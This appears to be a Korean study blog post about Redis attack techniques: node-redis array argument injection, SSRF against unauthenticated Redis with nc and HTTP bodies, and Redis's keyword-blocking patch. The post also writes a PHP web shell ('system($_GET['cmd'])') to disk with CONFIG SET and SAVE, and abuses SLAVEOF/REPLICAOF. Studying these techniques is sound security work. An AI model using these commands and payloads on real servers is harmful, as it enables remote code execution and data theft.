본 글은 드림핵 로드맵을 진행하면서 작성자가 이해하기 위해 정리하는 글이므로 틀린부분이 있을 수 있습니다.
틀린점은 댓글로 지적해주시면 감사드립니다.
Redis
여러가지 NoSQL중에 하나인 Redis라는 DBMS는 데이터를 작성하고 조회하는 명령어가 다음과 같습니다.
$ redis-cli
127.0.0.1:6379> SET test 1234 # SET key value
OK
127.0.0.1:6379> GET test # GET key
"1234"
SET으로 새로운데이터 추가가 가능하고 GET으로 key를 통해 데이터의 조회가 가능한 구조입니다.
각 명령어들은 다음과 같습니다.
데이터 조작 명령어
GET | GET key | 데이터 조회 |
MGET | MGET key [key ...] | 여러 데이터를 조회 |
SET | SET key value | 새로운 데이터 추가 |
MSET | MSET key value [key value ...] | 여러 데이터를 추가 |
DEL | DEL key [key ...] | 데이터 삭제 |
EXISTS | EXISTS key [key ...] | 데이터 유무 확인 |
INCR | INCR key | 데이터 값에 1 더함 |
DECR | DECR key | 데이터 값에 1 뺌 |
DBMS 관리
INFO | INFO [section] | DBMS 정보 조회 |
CONFIG GET | CONFIG GET parameter | 설정 조회 |
CONFIG SET | CONFIG SET parameter value | 새로운 설정을 입력 |
Redis와 비슷한 분류인 NoSQL은 데이터베이스 관련 작업을 수행할때
SQL을 사용하지 않아도 된다는 의미를 가지고 있습니다.
하지만 위의 명령어를 보듯이 기존 RDBMS들과 동일하게 공격자가 데이터의 조회가 가능하다면
저장된 정보의 탈취가 가능합니다.
NodeJS 모듈 Redis의 경우
다음은 NodeJs 모듈에서 Redis를 사용하는 경우의 코드입니다.
var express = require('express');
var app = express();
app.use(express.json());
app.use(express.urlencoded( {extended : false } ));
const redis = require("redis");
const client = redis.createClient();
app.get('/init', function(req,res) {
// client.set("key", "value");
client.set(req.query.uid, JSON.stringify({level: 'guest'}));
res.send('ok')
});
var server = app.listen(3000, function(){
console.log('app.listen');
});
코드를 보면 사용자의 입력값 uid 키에 문자열타입외에도 { }형태의 Array 타입도 삽입이 가능하며
client.set 으로 값을 저장하고 있습니다.
이러한 처리가 가능한 NodeJs의 Redis 모듈 Command 라이브러리 코드를 보면
// https://github.com/NodeRedis/node-redis/blob/0041e3e53d5292b13d96ce076653c5b91b314fda/lib/commands.js#L20-L25
if (Array.isArray(arguments[0])) {
arr = arguments[0];
if (len === 2) {
callback = arguments[1];
}
}
return this.internal_send_command(new Command(command, arr, callback));
입력값이 문자열이 아닌 배열로 입력하면 다른 방식으로 처리하는 것을 확인 할 수 있습니다.
정상적으로 사용자가 uid에 문자열을 입력하는 경우를 쉽게 표현해보면 다음의 구조를 가지는데
key, value, callback => Command(command, [key, value], callback)
배열타입의 입력값이 들어가게 되면 아래와 같은 구조가 됩니다.
[key, value] => Command(command, key, value)
위에서 예시로 들었던 코드로 보면 아래와 같이 됩니다.
//문자열의 경우 (http://localhost:3000/init?uid=test 전달)
key, value, callback => Command(command, [key, value], callback)
=> Command("set", '["test":"{level : guest}"]', callback)
//배열의 경우 (http://localhost:3000/init?uid[]=test&uid[]={"level":"admin"} 전달)
[key, value] => Command(command, key, value)
=> Command("set", "test", '{level : admin}')
이러한 Command 라이브러리를 활용해 배열타입의 인자를 전달하면
공격자가 원하는 데이터를 Redis에 저장할 수 있게 됩니다.
Redis SSRF 공격
Redis는 기본적으로 인증 수단이 존재하지 않고 127.0.0.1로 서비스를 바인딩하므로
직접 접근을 하면 인증 과정없이 명령어 실행이 가능하게 됩니다.
따라서 공격자가 SSRF 취약점을 통해 Redis 서버에 접근한다면 정보를 획득할 수 있게 됩니다.
실제로 서버에 접근후 명령어를 실행해보면 정보를 확인 할 수 있음을 알 수 있습니다.
$ echo -e 'info\r\n' | nc 127.0.0.1 6379
$2728
# Server
redis_version:4.0.9
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:9435c3c2879311f3
redis_mode:standalone
os:Linux 5.0.0-27-generic x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:7.4.0
process_id:13438
run_id:61725671377fa0ba43547443df3097b0346b9bab
tcp_port:6379
...
이 뿐아니라 Redis는 유효하지 않은 명령어가 입력되었을 때 끊어지지지 않고 다음 명령어를 실행합니다.
이러한 특징을 이용한 SSRF공격 기법또한 등장했습니다.
$ echo -e "anydata: anydata\r\nget hello" | nc 127.0.0.1 6379
-ERR unknown command 'anydata:'
$5
world
유효하지 않은 데이터를 입력해 에러를 일으킨뒤
nc로 서버에 연결후 command를 활용해 anydata를 출력하는 모습입니다.
이것말고도 대표적인 기법으로 HTTP프로토콜을 사용하는 방법으로
Body 데이터에 실행할 명령어를 포함시켜 요청을 전송해 전달받는 방식도 있습니다.
POST / HTTP/1.1
host: 127.0.0.1:6379
user-agent: Mozilla/5.0...
content-type: application/x-www-form-urlencoded
data=a
SET key value
...
SSRF 공격기법 패치
하지만 HTTP 프로토콜을 이용한 SSRF를 막고자 패치가 이루어졌는데
주요 키워드가 입력되면 연결을 끊어 공격이 불가능하도록 만드는 방식으로 패치가 이루어졌습니다.
패치코드를 일부분을 보면
// https://github.com/redis/redis/commit/a81a92ca2ceba364f4bb51efde9284d939e7ff47
struct redisCommand redisCommandTable[] = {
...
{"post",securityWarningCommand,-1,"lt",0,NULL,0,0,0,0,0},
{"host:",securityWarningCommand,-1,"lt",0,NULL,0,0,0,0,0},
};
void securityWarningCommand(client *c) {
static time_t logged_time;
time_t now = time(NULL);
if (labs(now-logged_time) > 60) {
serverLog(LL_WARNING,"Possible SECURITY ATTACK detected. It looks like somebody is sending POST or Host: commands to Redis. This is likely due to an attacker attempting to use Cross Protocol Scripting to compromise your Redis instance. Connection aborted.");
post나 host 같은 키워드가 포함되어 있다면 이를 감지해 클라이언트와 연결을 끊어 명령어가 실행되지 않습니다.
하지만 이는 HTTP 프로토콜을 이용한 공격만을 막기에 다른 프로토콜을 사용한다면 여전히 취약한 부분입니다.
Redis 명령어(Save, SlaveOf, ReplicaOf)
Redis는 메모리에 데이터를 저장하는 인-메모리 데이터베이스 인데, 메모리는 휘발성이라는 특징때문에
데이터 손실 방지를 위해 일정 시간마다 메모리 데이터를 파일 시스템에 저장합니다.
Redis는 이를 명령어를 통해 저장주기를 지정하거나 즉시 저장이 가능하며,
저장되는 파일의 경로와 이름, 저장 데이터를 함께 설정이 가능합니다.
파일 저장경로를 /tmp 파일이름은 redis.php 지정한뒤 셸 실행 코드를 저장하면
저장주기로 인해 파일이 생성되고 이를 실행하는 것으로 공격이 가능합니다.
CONFIG set dir /tmp
CONFIG set dbfilename redis.php
SET test "<?php system($_GET['cmd']); ?>"
SAVE
$ ls -al redis.php
-rw-rw---- 1 redis redis 57 May 17 16:59 redis.php
$ xxd redis.php
00000000: 5245 4449 5330 3030 36fe 0000 0474 6573 REDIS0006....tes
00000010: 741e 3c3f 7068 7020 7379 7374 656d 2824 t.<?php system($
00000020: 5f47 4554 5b27 636d 6427 5d29 3b20 3f3e _GET['cmd']); ?>
00000030: ffef 0fe2 9f24 c9b8 a3 .....$...
다른 명령어로는 Redis의 마스터 노드를 복제 하는 명령어 입니다.
Redis는 다른 Redis 노드를 현재 명령어를 실행하는 마스터 노드로 지정할 수 있습니다.
다른노드의 마스터 노드를 복제하고 저장한뒤 실행하면 해당과정에서
호스트에 해당하는 서버에서 노드의 상태를 확인하기 위해 데이터를 수신하게 됩니다.
이 과정에서 데이터 확인이 가능하게 됩니다.
마스터 노드 복제 명령어 예시
SLAVEOF host port
SLAVEOF No one
REPLICAOF host port
REPLICAOF No one
//Redis 서버
SLAVEOF 127.0.0.1 8888
REPLICAOF 127.0.0.1 8888
//복제할 서버
$ nc -l 8888 -kv
Listening on [0.0.0.0] (family 0, port 8888)
Connection from [127.0.0.1] port 8888 [tcp/*] accepted (family 2, sport 52613)
PING
Reference
'Reference > Web Hacking_Study' 카테고리의 다른 글
Jinja SSTI (1) | 2022.10.04 |
---|---|
웹 브라우저 엔진과 브라우저 엔진의 렌더링 과정 (0) | 2022.07.06 |